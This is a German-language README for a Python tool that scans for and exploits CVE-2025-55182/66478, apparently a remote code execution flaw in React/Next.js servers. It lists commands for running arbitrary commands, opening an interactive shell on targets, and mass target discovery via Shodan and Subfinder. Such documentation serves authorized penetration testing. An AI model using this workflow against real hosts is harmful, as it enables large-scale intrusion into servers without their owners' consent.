Torito React2Shell Scanner- & Exploit-Tool (CVE-2025-55182 / 66478)

Anforderungen

• Python 3.9+
• pip install -r requirements.txt
• Subfinder-Binärdatei im PATH für --subfinder (Installation über Homebrew brew install subfinder oder Go: go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest; Projekt: https://github.com/projectdiscovery/subfinder)
• Shodan-Nutzung erfordert pip install shodan (bereits in requirements enthalten) sowie einen Schlüssel: export SHODAN_API_KEY=... mit verfügbarem Abfrageguthaben

Verwendung

python3 torito_r2s.py --help

Optionen

Beispiele

Sicherer Probe-Scan (einzelnes Ziel)

python3 torito_r2s.py -u https://target.com

PoC-Bestätigung (Side-Channel-Redirect)

python3 torito_r2s.py -u https://target.com --confirm

Exploit mit benutzerdefiniertem Befehl

python3 torito_r2s.py -u https://target.com --exploit-cmd "whoami"

Interaktive Shell beim ersten Treffer

python3 torito_r2s.py -u https://target.com --shell

Listenscan mit Exporten

python3 torito_r2s.py -l hosts.txt -t 40 --confirm --json-out results.json --csv-out results.csv

Nur Shodan (erfordert Schlüssel und Guthaben)

export SHODAN_API_KEY=your_key
python3 torito_r2s.py --shodan 'http.title:"Next.js"' --shodan-limit 50 --confirm

Nur Subfinder

python3 torito_r2s.py --subfinder target.com --confirm

Proxy (Burp/Caido)

python3 torito_r2s.py -u https://target.com --proxy http://127.0.0.1:8080 --confirm

Pipeline über stdin

cat urls.txt | python3 torito_r2s.py --confirm

Hinweise zur Ausgabe

• Die Tabelle zeigt Fingerprint (NX/AR), Probe, Bestätigung und Exploit.
• Exploit-Digests werden nach Möglichkeit base64-dekodiert; der Verbose-Modus zeigt Vorschauen.
• JSON/CSV enthalten den rohen Digest und die dekodierte Ausgabe (falls vorhanden).

Sicherheit

• Nur für autorisierte Tests.
• Der Standardlauf ist ein nicht-destruktiver Probe-Scan; der Exploit wird nur mit --exploit-cmd oder --shell ausgeführt.